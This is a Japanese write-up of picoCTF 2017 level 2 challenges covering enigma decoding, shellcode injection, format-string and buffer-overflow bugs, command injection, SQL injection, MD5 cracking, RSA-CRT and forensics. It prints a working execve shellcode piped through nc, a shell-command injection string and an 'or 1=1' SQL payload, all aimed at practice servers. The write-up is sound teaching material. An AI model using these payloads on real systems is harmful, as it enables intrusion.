picoCTF 2017 level2 write up

picoCTF という初心者向けのCTFのwrite up

level2になって難しくなってきた。

# MISC

## Yarn

> I was told to use the linux strings command on [yarn](https://webshell2017.picoctf.com/static/9adb6ebf01d8755201564dba69bc1a92/yarn), but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back

`Strings` コマンドを`yarn` というファイルに使えと言われたが、上手くいかない、助けてくれ、とのこと。

このファイルにflagの文字列が入っているらしい。

`Strings` コマンドは `-n` オプションで抽出する文字列の最低長を指定でき、デフォルトでは4文字になっている。

つまり、デフォルトでは3文字以下の文字列は抽出されない。

よって、`strings -n 3 yarn` でflagゲット。



## Mystery Box

> You've found a mystery machine with a sticky [note](https://webshell2017.picoctf.com/static/65c2504106ce38d8c2971ebaada542c7/note.txt) attached to it! Oh, there's also this [picture](https://webshell2017.picoctf.com/static/65c2504106ce38d8c2971ebaada542c7/MysteryBox.png) of the machine you found.

 `note` には謎の文字列が書いてあり、`picture` には謎のマシンが描かれている。

とりあえず画像をgoogleの画像検索にかけると、`enigma 1939` がヒット。

どうやら`enigma` 暗号という、ドイツの暗号らしい。謎の文字列もドイツ語のようだ。

文字列をgoogle翻訳にかけるとそれっぽい情報が得られた。

```
秘密：PXQQ TAMY YDBC WGYE LVN
リバースローラー：B
基本的な位置：PPP
リングの位置：LOG
プラグボード：G-L、H-F
```



デコーダも[ネットに転がっていた](https://cryptii.com/enigma-machine) ので、これを使った。

`DECODE` をクリックして、`Ciphertext` に`PXQQ TAMY YDBC WGYE LVN` を入力。

`ROTOR1` を I `ROTOR 2` を II `ROTOR 3` をIII にして、

`POSITION` は数字は1~26だったのでアルファベットに対応していると判断。

問題の`note` よりPPPらしいので3つとも`17`に設定。

`RING` もLOGに合わせてそれぞれ数値を設定。

`REFLECTOR` はリバースローラーのようなので、`B` 

`PLUGBOARD` に `gl hf` と入力してフラグゲット！



# BINARY EXPLOITATION

## Shellz

> You no longer have an easy thing to call, but you have more space. Program: [shellz](https://webshell2017.picoctf.com/static/4218d89147526c9f5adcf25ff3688482/shellz)! [Source](https://webshell2017.picoctf.com/static/4218d89147526c9f5adcf25ff3688482/shellz.c). Connect on shell2017.picoctf.com:38782.

ソースコードはよくわからないが、どうやら[シェルコード](https://book.mynavi.jp/manatee/detail/id=64562) を送り込め、ということらしい。

シェルコードは、ざっくり言えばシェルを起動するための機械語のコードである。

シェルコードなんていくらでもある、とヒントには書いているのでググったら、[ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2014/03/13/013056) さんのところにあった。

```
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
```

これをパイプで`nc shell2017.picoctf.com 38782` に渡してあげれば良いのだが、シェルを起動した後にコマンドを打ち込む必要がある。

これをするには、`cat` コマンドと [ハイフンを使った便利な標準入出力指定でのコマンドライン](https://qiita.com/bami3/items/d67152d19aa8ac2d47de) を用いる。

```bash
cat - 
```

これを実行すると、入力した文字がそのまま出力される。

よって、`echo -e` で送信したのち、`cat - ` を実行することで、シェルを操作できる。`echo` の `-e` は16進数を`\x31` のようなエスケープ文字を変換するためのオプションである。

`()` も必須である。これがないと、`echo` の実行が先にされ、その後`cat - | nc ` の部分が実行されるため、シェルコードが`nc` に渡されない。

```bash
(echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" ; cat -) | nc shell2017.picoctf.com 38782
```



## Shells

> How much can a couple bytes do? Use [shells](https://webshell2017.picoctf.com/static/30dab2782dc926684a22dd4f7f2d1f92/shells)! [Source](https://webshell2017.picoctf.com/static/30dab2782dc926684a22dd4f7f2d1f92/shells.c). Connect on shell2017.picoctf.com:63545.

 急にレベルが上がった気がする。

今回もシェルコード。今回は10バイトしか送れないため、工夫が必要である。

ここで、ソースコードを見て見ると、`win` という関数を実行すれば良さそうである。

まず、`win` のアドレスを調べる必要がある。

linux環境で`gdb ` で調べれば良い。[使い方](http://inaz2.hatenablog.com/entry/2014/05/03/044943) 

`p 関数名 ` とすると、関数のアドレスがわかる。 

```bash
gdb shells
(gdb) p win
```

これにより、`win` 関数の開始アドレスが`0x08048540` だということがわかる。



あとは、[シェルコードを書けば](https://book.mynavi.jp/manatee/detail/id=64563) 良い。

まず`call 0x08048540` という命令が思い浮かぶが、`call` 関数は相対アドレスで呼び出すため、これではうまくいかない。

そこで、`ret` 関数を使う。



## Guess The Number

> Just a simple number-guessing game. How hard could it be? [Binary](https://webshell2017.picoctf.com/static/407dcbc2efc7edacab12f4a55deea499/guess_num) [Source](https://webshell2017.picoctf.com/static/407dcbc2efc7edacab12f4a55deea499/guess_num.c). Connect on shell2017.picoctf.com:20446.

ソースコードを見てみる。

```c
scanf("%32s", buf);
val = strtol(buf, NULL, 10);

printf("You entered %d. Let's see if it was right...\n", val);

val >>= 4;
((void (*)(void))val)();
```

入力した数値を`strtol` 関数に渡して、**4bit右シフトした後** 、そのアドレスの関数を実行している。

この4bitシフトに全然気づかず時間溶かした、、。



`strtol` 関数は、文字列をlong型に変換する関数らしい。

最後の`((void (*)(void))val)(); ` がややこしい。

まず`void (*)(void)` だが、` (*) ` は関数へのポインタを表しその関数は`(void)` を引数にとり、返り値が`void` ということらしい。

`(void (*)(void))val` で `val` を先の`関数へのポインタ` 型にキャストし、最後の`()`で関数を実行している。



今回も`win` 関数があるので、そのアドレスを`val` に設定すれば良さそうである。

`win` 関数のアドレスを先の問題と同じように求めると、`0x804852b` であるので、これを4bit左シフト(`0x804852b0` )して10進数に直した数値を入力してみる。

```bash
echo $((0x804852b << 4))  #2147483647
```

しかし、うまくいかない。

gdbでデバッグしてみる。

入力した値は4bit右シフトし、`eax` レジスタに格納されているので、`i r` コマンドでレジスタを見る。

```bash
gdb guess_num
(gdb) run
(gdb) 2147483647
(gdb) i r
```

`eax` レジスタの値は`0x7ffffff` となっている。

これは、long 型は符号付きであるため、最上位ビットは符号に使われ、

`0x7fffffff` までしか扱えないためである。

ここで、ヒントに書いてあるように、負の数を入力すれば、``0x804852b0`` という値にすることができる。

そのためには、`0x100000000` を引けば良い。

```bash
echo $((0x804852b0 - 0x100000000))	# -2142743888
```



この値を入力すれば、無事シェルが起動し、`cat flag.txt` でクリア。



## Ive Got A Secret

> Hopefully you can find the right format for my [secret](https://webshell2017.picoctf.com/static/7ea472826fbd769adc63da9f9a6d2fec/secret)! [Source](https://webshell2017.picoctf.com/static/7ea472826fbd769adc63da9f9a6d2fec/secret.c). Connect on shell2017.picoctf.com:39169.

[FSA(Format String Attack)](http://d.hatena.ne.jp/kusano_k/20140302/1393781714) の問題。

ソースを見て見ると、このプログラムは以下のような動きをしている。

1. `/dev/urandom` から乱数を読み出し、`secret` に代入
2. ユーザからの入力を受け付け、そのまま出力
3. ユーザからの入力を受け付け、`secret` と等しければ`flag` を表示

`/dev/urandom` は乱数を取得するために使えるらしい。(https://ja.wikipedia.org/wiki//dev/random)

この`2` の手順において、FSAが使えるため、ここで`secret` の中身を表示させれば良い。

stackの構成を見るため、[gdb-peda](http://ta1se1.hatenablog.com/entry/2016/07/11/100206) を用いる。

gdb-pedaはgdbの拡張で、様々な便利機能が使える。

`(gdb-peda) disas main` でアセンブリ言語を見ると、`0x080486a3 <+184>:	call   0x8048470 <fgets@plt>`  の行で、一度目の入力を行い、`0x080486b3 <+200>:	call   0x8048450 <printf@plt>` の行でその内容を出力している。

```assembly
Dump of assembler code for function main:
   0x080485eb <+0>:	lea    ecx,[esp+0x4]
   0x080485ef <+4>:	and    esp,0xfffffff0
   0x080485f2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080485f5 <+10>:	push   ebp
   .
   .
   .
   0x08048693 <+168>:	mov    eax,ds:0x8049b00
   0x08048698 <+173>:	sub    esp,0x4
   0x0804869b <+176>:	push   eax
   0x0804869c <+177>:	push   0x40
   0x0804869e <+179>:	push   0x8049b40
   0x080486a3 <+184>:	call   0x8048470 <fgets@plt>
   0x080486a8 <+189>:	add    esp,0x10
   
   0x080486ab <+192>:	sub    esp,0xc
   0x080486ae <+195>:	push   0x8049b40
   0x080486b3 <+200>:	call   0x8048450 <printf@plt>
   0x080486b8 <+205>:	add    esp,0x10
```

ここで`%x,%x,%x,...` のようなFSAを行うと、スタックの2番目、3番目、... の値が表示される。



また、`secret` は`read` 関数の第二引数を見ればスタックのどのアドレスに格納されているかがわかる。

```c
read(fd, &secret, sizeof(int))
```

```assembly
   0x08048634 <+73>:	push   0x4
   0x08048636 <+75>:	lea    eax,[ebp-0x10]
   0x08048639 <+78>:	push   eax
   0x0804863a <+79>:	push   DWORD PTR [ebp-0xc]
   0x0804863d <+82>:	call   0x8048440 <read@plt>
   0x08048642 <+87>:	add    esp,0x10
```

引数は`call` 命令の前に第3引数-> 第2引数-> 第1引数の順で`push` されるので、第二引数は`eax` つまりその前で`lea` 命令でアドレスを計算している `ebp-0x10` が`secret` が格納されているアドレスとなる。

この`ebb-0x10` が`printf` 関数の実行時にスタックの何番目にあたるか調べる。

gdb-pedaで`start` したあとに`b *0x080486b3` とブレークポイントを仕掛け、`c` コマンドを使うことで、そのアドレスまで実行できる。

`printf` 関数まで実行する前に、`fgets` 関数が実行されるので、入力を求められる。

ここでは、`%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x` とFSAを仕掛けて見る。

この状態で、`stack n` とコマンドを入力することで、n個のスタックの中身を見ることができる。

`stack 11` とすると、以下のようなスタックの状態となっている。

```
0000| 0xbffffb30 --> 0x8049b40 ("%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x\n")
0004| 0xbffffb34 --> 0x40 ('@')
0008| 0xbffffb38 --> 0xb7fc55c0 --> 0xfbad2288
0012| 0xbffffb3c --> 0x8048792 (<__libc_csu_init+82>:	add    edi,0x1)
0016| 0xbffffb40 --> 0x1
0020| 0xbffffb44 --> 0xbffffc04 --> 0xbffffd21 ("/home/vagrant/work/picoctf/level2/secret")
0024| 0xbffffb48 --> 0xf3903136
0028| 0xbffffb4c --> 0x3
0032| 0xbffffb50 --> 0xb7fe79a0 (<_dl_fini>:	push   ebp)
0036| 0xbffffb54 --> 0xbffffb70 --> 0x1
0040| 0xbffffb58 --> 0x0
```

`0xbffffb30` がスタックの1番目であり、`ebp-0x10` ( = `0xbffffb48`) はスタックの7番目であることがわかる。

つまり、`%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x` と入力した場合、スタックの2番目以降の内容が順に表示されるので、6番目に表示される内容が`secret` に一致する。

実際、そのままgdb-pedaで`ni` コマンドで`printf` 文を実行させるとスタックの2番目以降の値が表示されているのが分かる。

これで攻撃手法がわかったので、あとは`nc` コマンドののち、`%x,%x,%x,%x,%x,%x` と打ち込んで表示される6番目の値を入力すればflagゲット。



## Flagsay 1

> I heard you like flags, so now you can make your own! Exhilarating! Use [flagsay-1](https://webshell2017.picoctf.com/static/2cc2da971ac18d36b922913952ef40ed/flagsay-1)! [Source](https://webshell2017.picoctf.com/static/2cc2da971ac18d36b922913952ef40ed/flagsay-1.c). Connect on shell2017.picoctf.com:20230.

ソースコードを見てみる。

1. ユーザの入力を受け付ける
2. 旗の形のアスキーアートの文字列`flag` に対し、旗の内側にユーザの入力した文字列を埋め込む
3. `/bin/echo flag` を実行

といった内容である。

プログラムで`system` を実行してくれているので、`/bin/sh` を実行できれば勝ちである。

`3` の実行する部分をよく見て見ると、`"/bin/echo \"%s\"\n"` という文字列の`%s` が`flag` に置き換わった文字列が実行されている。

`";/bin/sh # `という文字列を入力してあげれば、`flag` は以下のようになり、`#` 以降はコメントとして無視されるため、`/bin/echo " _                                        //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      //";bin/sh # ...` という実行になり、シェルが起動する。

```
			                 _                                        
	                        //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     
	                       //";bin/sh #                         /     
	                      //                                   /      
	                     //                                   /       
	                    //                                   /        
	                   //                                   /         
	                  //                                   /          
	                 //___________________________________/           
	                //                                                
	               //                                                 
	              //                                                  
	             //                                                   
	            //                                                    
	           //                                                     
```

あとはいつも通り`cat flag.txt` でクリア。



## VR Gear Console

> Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/5206d6e095708fbcc2dfa33cd2a8b819

バッファオーバーフローの問題。

`cat vrgearconsole.c` でソースコードを見てみると、`login()` 関数内で、`gets` 関数でユーザの入力を受け取る際に文字数のチェックをしていないので、オーバーフローが起こせる。

`username` の直前に`accesslevel` が宣言されているので、メモリ上では`username` の直後に`accesslevel` が存在しており、usernameのオーバーフロー分がそのまま`accesslevel` を書き換えることになる。

ここでは、`accesslevel < 0x30 ` であればシェルを起動してくれるので、ASCIIコードが`0x30` より小さい文字列をオーバーフローさせれば良い。

`!"#$%&'()` などの文字列がそれにあたるので、`username` に `aaaaaaaaaaaaaaaa!` などと入力し、適当な`password` を入力すればシェルを起動できる。





# WEB EXPLOITATION

## My First SQL

> I really need access to [website](http://shell2017.picoctf.com:14356/), but I forgot my password and there is no reset. Can you help?

SQLインジェクション。

username に`'` と打ち込むと、親切にクエリ文を表示してくれる。

以下のコマンドでOK

```sql
' or 1=1 -- 
```



## TW_GR_E1_ART

> Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one...? Check it out [here](http://shell2017.picoctf.com:16929/).

ソースコードが見れてしまうため、チートができるよって話。

node.jsでは`package.json` に`dependencies` やスタートコマンドが記述されているらしい。

そこで、問題のURLの後に`/package.json` を追記すると、ファイルが見れる。



どうやら`server/serv.js` が起動用のjsのようである。

そこで、URLに今度は `/server/serv.js` を追記して見てみる。

`require("./game")(app, io);` と記述してあるので、`server/game.js` がメインのjsらしい。

`server/game.js` のソースコードで`flag` を検索すると、以下のような箇所があり、

どうやらitem のeffect.type が `revealFlag` で`check == 64` の時にフラグが表示されるようである。

```javascript
	for(var i = 0; i < entity.items[action.item].effects.length; i++){
		var effect = entity.items[action.item].effects[i];
		var outcome = {
			type: effect.type,
			entity: {
				id: entity.id,
				name: entity.name
			}
		};
		switch(effect.type){
		
		.
		.
		.
		
		
			case "revealFlag":
				if (entity.items[action.item].effects[i].check == 64) {
					outcome.flag = process.env["PICO_CTF_FLAG"];
				}
				break;
		}
```



この`revealFlag` を他のスクリプトで探していると、`config.js` で発見。

`createFlag` 関数の第一引数が `check` のようなので、`createFlag` 関数の第一引数に64を与えているところをみれば良い。

```javascript
function createFlag(check, location) {
	return {
		name: "Flag",
		description: "Gives you the flag... maybe.",
		location: location,
		use: 0,
		id: check + 100,
		sprite: "flag",
		effects: [
			{
				type: "revealFlag",
				check: check
			},
			{
				type: "destroyItems"
			}
		]
	};
}

```

`createFlag` 関数を呼び出しているのは以下の箇所。

第一引数に64を与えている時、r = 13, c = 5 となる。

このr, c はどうやら4階でのマップでの座標のようなので、4階まで進み、その座標のflagを取って使用すれば良い。

```javascript
				items: Array.from(new Array(83), (_, idx) => {
					if (idx >= 2) {
						idx++
					}

					if (idx >= 77) {
						idx++;
					}

					var r = Math.floor(idx / 5) + 1;
					var c = (idx % 5) + 1;

					return createFlag(idx, { r: r, c: c });
				}),
```



## TW_GR_E2_EoTDS

>Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game [here](http://shell2017.picoctf.com:28933/).

 これだけ解けん。

前の問題同様、ソースコードを見て解析するようなのだが、、。

前の問題同様、4階にフラグがあるが、壁があってフラグにたどり着くことができない。

代わりに、渦巻きのマスを通過できる敵をフラグまでたどり着かせ、その後敵を倒せばフラグが手に入るらしい。

`ai.js` に敵の動きがコーディングされているので、それを解析して敵の動きをコントロールしろ、ということだ。

このコントロールが、どうすればいいか全然わからない。

1回たまたまうまく行ったが、敵を倒す前に時間切れになってしまった、、。




# REVERSE ENGINEERING

## A Thing Called the Stack

> A friend was stacking dinner plates, and handed you [this](https://webshell2017.picoctf.com/static/f26f850d2e8fee104a2277214d107da5/assembly.s), saying something about a "stack". Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

プログラムの最後の行でのスタックの位置（esp）とreturn アドレスが格納されているアドレスとの差を答えよ、という問題。

```assembly
foo:
    pushl %ebp
    mov %esp, %ebp
    pushl %edi
    pushl %esi
    pushl %ebx
    sub $0x12c, %esp
    movl $0x1, (%esp)
    movl $0x2, 0x4(%esp)
    movl $0x3, 0x8(%esp)
    movl $0x4, 0xc(%esp)

```

この`foo` 関数の1行目の時点では、リターンアドレスがスタックの一番上にあり、そこから`push` のたびに4ビットずつスタックのアドレスは減っていくので、以下の4つの`push` 命令で`4 * 4 = 0x10` の減少。

```
pushl %ebp 
mov %esp, %ebp 
pushl %edi 
pushl %esi 
pushl %ebx
```

さらに、`sub $0x12c, %esp` の命令で`0x12c` 減少しているので、この合計がflag。

## Programmers Assemble

> You found a text [file](https://webshell2017.picoctf.com/static/87b25aef918cd5dd94efa44a46d66b88/assembly.s) with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

```assembly
.global main

main:
    mov $XXXXXXX, %eax
    mov $0, %ebx
    mov $0x5, %ecx
loop:
    test %eax, %eax
    jz fin
    add %ecx, %ebx
    dec %eax
    jmp loop
fin:
    cmp $0x7ee0, %ebx
    je good
    mov $0, %eax
    jmp end
good:
    mov $1, %eax
end:
    ret

```



 このプログラムが、`return 1` となるように`XXXXXXX` に数字を入れてくれ、とのこと。

返り値は`eax` に格納されるので、`good` にジャンプするようにすれば良さそうである。



`fin` を見てみると、`ebx` が`0x7ee0` に等しければ`good` に飛び、等しくなければ`eax = 0` として`end` に飛んでいる。

```
fin:
    cmp $0x7ee0, %ebx
    je good
    mov $0, %eax
    jmp end
```

よってその前の部分で`ebx` を`0x7ee0` にすれば良さそうだ。 



`loop` を見ると、`eax` を1ずつ引いて`eax` が0になるまでループさせ、ループの度に`ebx` から`ecx` を引いている。

`test eax, eax ` は`jz`とセットで、`eax` が0 の時のみ`jz` でジャンプする、という命令である。



`main` を見ると、`ebx = 0` , `ecx = 0x5` と設定しているので、ループは`0x7ee0 / 0x5` 回まわせば良い。



# Cryptography

## SoRandom

> We found [sorandom.py](https://webshell2017.picoctf.com/static/2cf7e83693da1ad65ce9ffefd86892b8/sorandom.py) running at shell2017.picoctf.com:19789. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?

乱数の種の話。

一般的なプログラミング言語では、同じ種で初期化を行えば、同じ乱数列を発生する。

今回の問題では乱数を用いてflagを暗号化しているが、その種がわかっている(`random.seed("random")` )ので、同じ乱数を再現できる

。

```
#!/usr/bin/python -u
import random,string

flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
  if c.islower():
    #rotate number around alphabet a random amount
    encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
  elif c.isupper():
    encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
  elif c.isdigit():
    encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
  else:
    encflag += c
print "Unguessably Randomized Flag: "+encflag
```

乱数を加えて、文字列をずらしているので、`+random.randrange` を`-random.randrange` に置き換えれば良い 。

flag の中身(`"FLAG:"+open("flag", "r").read()[:-1]` ) を`"BNZQ:4pg33e44sdu4wu8198y15q685vpx8041"` に変えて、元のコードを再び実行すればflagゲット。



## LeakedHashes

> Someone got hacked! Check out some service's password hashes that were leaked at [hashdump.txt](https://webshell2017.picoctf.com/static/e654ab7210f1b8dc491f9204d9f8ef06/hashdump.txt)! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:4534!

MD5 の話。

MD5の[デコーダ](https://www.md5online.org/) にパスワードのハッシュをぶち込んだら、何個かデコードできるのがある。

そのパスワードでログインすればOK。



## Weird RSA 

> We recovered some [data](https://webshell2017.picoctf.com/static/356968c2d973cde33a5135ae3fc94c22/RSA.txt). It was labeled as RSA, but what in the world are "dq" and "dp"? Can you decrypt the ciphertext for us?

 RSA-CRTというやつの話。

CRTというのは中国剰余定理というものらしく、RSAの計算の簡単に使えるらしい。

秘密鍵として、$d_q, d_p, qinv$ を持っておくことで、以下の式で暗号文cから平文mを復元できるらしい。[参考](https://www.goto.info.waseda.ac.jp/~kiire/crypto/rsa-crt.php)

$m \equiv c^{d_q} + (c^{d_p}-c^{d_q})×qinv×q\pmod{pq}$

今回の問題では、qinv は与えられていないが、$qinv = q^{-1}\mod p$ なので求めることができる。



```python
import gmpy2
from Crypto.Util.number import long_to_bytes

def decrypt(c, p, q, dp, dq):
    qinv = gmpy2.invert(q, p)
    m1 = pow(c, dp, p)
    m2 = pow(c, dq, q)
    h = (qinv * (m1 - m2)) % p
    m = m2 + h * q
    return long_to_bytes(m)
```

 平文m は`long_to_bytes` で文字列に復号できる。



# Forensics

## Meta Find Me

> Find the location of the flag in the image: [image.jpg](https://webshell2017.picoctf.com/static/6d96148dd7f50c9c5bd24dc4b28e4b5c/image.jpg). Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!

exifの問題。

jpgにはexif情報というのがついていることがあり、撮影場所のGPS情報など諸々の情報が得られる。

[exif確認くん](http://exif-check.org/) というツールで見れたりするが、今回はうまく使えなかったので、

`exiftool` をmacに導入した。

`brew install exiftool` で`exiftool image.jpg` すれば見れる。

flag is not just a set of coordinates らしく、 keep looking ということなので、exif情報を全部眺めていくと、

`comment` の部分にflagのフォーマットが書いてあるので、それに座標を当てはめれば良い。



## Little School Bus

> Can you help me find the data in this [littleschoolbus.bmp](https://webshell2017.picoctf.com/static/3f2bd14e42f3c8770e6fbf73b48fdfa1/littleschoolbus.bmp)?

むずくね？

タイトルからLSBを連想しろということらしい。ヒントにleast significant bit と書いてあるけど。



バイナリファイルの扱い：https://trailofbits.github.io/ctf/forensics/ より引用

---

Writing or reading a file in binary mode:

```
f = open('Reverseit', "rb")
s = f.read()
f.close()
f = open('ItsReversed', "wb")
f.write(s[::-1])
f.close()
```

The [bytearray](http://infohost.nmt.edu/tcc/help/pubs/python/web/bytearray-type.html) type is a mutable sequence of bytes, and is available in both Python 2 and 3:

```
>>> s = bytearray(b"Hello World")
>>> for c in s: print(c)
...
72
101
108
108
111
32
87
111
114
108
100
>>>
```

You can also define a bytearray from hexidecimal representation Unicode strings:

```
example2 = bytearray.fromhex(u'00 ff')
>>> example2
bytearray(b'\x00\xff')
>>> example2[1]
255
```

The bytearray type has most of the same convenient methods as a Python `str` or `list`: split(), insert(), reverse(), extend(), pop(), remove(), etc.

Reading a file into a bytearray for processing:

```
data = bytearray(open('challenge.png', 'rb').read())
```

---



ということで、`data = bytearray(open('littleschoolbus.bmp', 'rb').read())` でバイナリとして画像を読み込む。

LSBを抽出するということは、バイトごとに1と`&` をとれば良い。

```python
data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data:
    lsb += str(byte & 1)
```



これで2進数の数列が得られるので、1バイト(8bit)ごとに文字列に変換する。

```python
lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
    out += chr(int(byte, 2))
print(out)
```

しかし、うまくいかない。

どうやら、ファイルのヘッダ部分の54バイトはデータではないので、バイナリから取り除く必要があるらしい。

LSBを抽出している`for byte in data:` を`for byte in data[54:]` として、ヘッダ部分を削る。

```python
data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data[54:]:
    lsb += str(byte & 1)
lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
    out += chr(int(byte, 2))
print(out)
```



これでflagゲット。



## Just Keyp Trying

> Here's an interesting capture of some data. But what exactly is this data? Take a look: [data.pcap](https://webshell2017.picoctf.com/static/c1ac3c09e54ebd58ec61853a820d6322/data.pcap)

これ初見の人は無理じゃね。キーボードのUSB転送のプロトコルとかわからんくね。

[セキュリティコンテストのためのctf問題集](https://book.mynavi.jp/ec/products/detail/id=75673) の問題8と同じような問題なので、同じコードを使えば解ける。

```python
from scapy.all import *

keymap = {
    0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
    0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
    0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
    0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
    0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
    0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
    0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
    0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
    0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
    0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
    0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
    0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
    0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'),
    0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
    0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
    0x31: ('\\', '|'), 0x32: (';', ':'), 0x33: ("\'", '\"'),
    0x34: ('`', '~'), 0x35: (',', '<'), 0x36: ('.', '>'),
    0x37: ('/', '?'), 0x38: ('/', '?')
}

def read_usbdata_from_pcap():
    pcap = rdpcap("data.pcap")
    usb_data = []
    for pkt in pcap:
        buf = pkt['Raw'].load
        usb_data.append(buf[27:])
    return usb_data

def analyze_usb_data(usb_data): 
    flag = ""
    for d in usb_data:
        if d[2] == 0x00 or not 0x00 in d[3:8]:
            # No event
            continue
        if d[0] == 0x02 or d[0] == 0x20:
            # press shift-key
            # binary -> int
            c = keymap[d[2]][1]
            flag += c
        else:
            # not press shift-key
            # binary -> int
            c = keymap[d[2]][0]
            flag += c
    print(flag)

def main():
    data = read_usbdata_from_pcap()
    analyze_usb_data(data)

if __name__ == '__main__':
    main()

```



# MASTER CHALLENGE

## Missing Identity

> Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one [file](https://webshell2017.picoctf.com/static/2b92f792615f667179c849b8f69c4a0b/file) and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

 forensicsの問題。

fileが与えられる。

とりあえず`file` コマンドで見てみるも、`data` としかわからない。

`strings` コマンドを使うと、`.png` という文字が何個か見える。

複数のファイルが含まれていそうなので、`binwalk` をかけてみると、`zip` ファイルであることが分かる。

バイナリエディタでファイルを開くと、ファイルの戦闘部分が`XXXXXX` となっており、これを適切な値にしろ、ということが分かる。

この前のbeginners seccon 2018 にもあったな。

zip ファイルのマジックナンバーに合わせて `50 4b 03 04 0a 00` に書き換えればzipファイルになるので、

拡張子をzipに変更して解凍すれば、flag.pngに答えが書いてある。

mac ユーザーなのでバイナリエディタは`hexedit` を使った。